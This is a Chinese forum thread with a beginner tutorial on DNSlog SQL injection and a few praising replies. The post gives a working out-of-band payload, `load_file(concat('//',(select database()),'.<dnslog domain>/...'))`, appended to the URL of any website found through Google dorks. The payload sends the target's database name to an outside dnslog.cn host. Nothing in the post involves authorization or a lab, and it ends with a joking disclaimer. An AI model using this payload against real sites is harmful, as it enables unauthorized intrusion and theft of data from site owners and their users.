论坛 › 其他技术 › 【原创】教你dnslog注入

村长 发表于 2022-8-4 23:59:28

【原创】教你dnslog注入

嘿嘿，我是血手，百忙之中又抽出了一点时间
首先dnslog注入是什么
个人理解为sql注入的一种
怎么注入呢？
1，学习一点sql语法
例如
concat（连接的）
load_file（读取文件内容的）
select（执行一些查询语法的）
2，找到一个网站（谷歌语法）
3,，打开这个网站
dnslog.cn
点击左边的get subdomain得到一个域名
并复制（上面显示的域名）
4中的￡为你复制的域名，粘贴替换一下
4，开始组合语句
load_file(concat('//',(select database()),'.￡/balabala.txt'))
5，把你要注入的网址，改成这样子
你要注入的网址 and 4的语句
有一个空格   Δ   Δ有一个空格
6，访问
7，返回
dnslog.cn网站并刷新（右边的refresh record）
即可在前面看到他的库名
8，没了就这样吧[滑稽][玫瑰][玫瑰][玫瑰]
9，一切法律责任于我无关，请在学会24小时内忘记，谢谢配合[滑稽][玫瑰]
http://cdn.u1.huluxia.com/g4/M03/4F/E7/rBAAdmLSTmiAbvxTAAI9VKmZwSA535.jpghttp://cdn.u1.huluxia.com/g4/M03/4F/E7/rBAAdmLSTmiAYbZGAABg96qaRS875.jpeghttp://cdn.u1.huluxia.com/g4/M03/4F/E7/rBAAdmLSTmmAC3h6AAB9zwKdwYE44.jpeghttp://cdn.u1.huluxia.com/g4/M03/4F/E7/rBAAdmLSTmmAYP39AAEsSYF6Zjc63.jpeghttp://cdn.u1.huluxia.com/g4/M03/4F/E8/rBAAdmLSTmqAePSfAAPOGOuWD0M820.jpg

梦影 发表于 2022-8-5 13:16:45

看看村长的黑科技

天镜盗梦 发表于 2022-8-6 17:13:26

大人，此事必有蹊跷！

伴我多久 发表于 2022-8-7 13:47:46

支持楼主，用户楼主，楼主英明呀！！！

大司命 发表于 2022-8-10 19:54:30

向楼主学习

千面萌萌 发表于 2022-8-10 20:35:04

报告！别开枪，我就是路过来看看的。。。

查看完整版本: 【原创】教你dnslog注入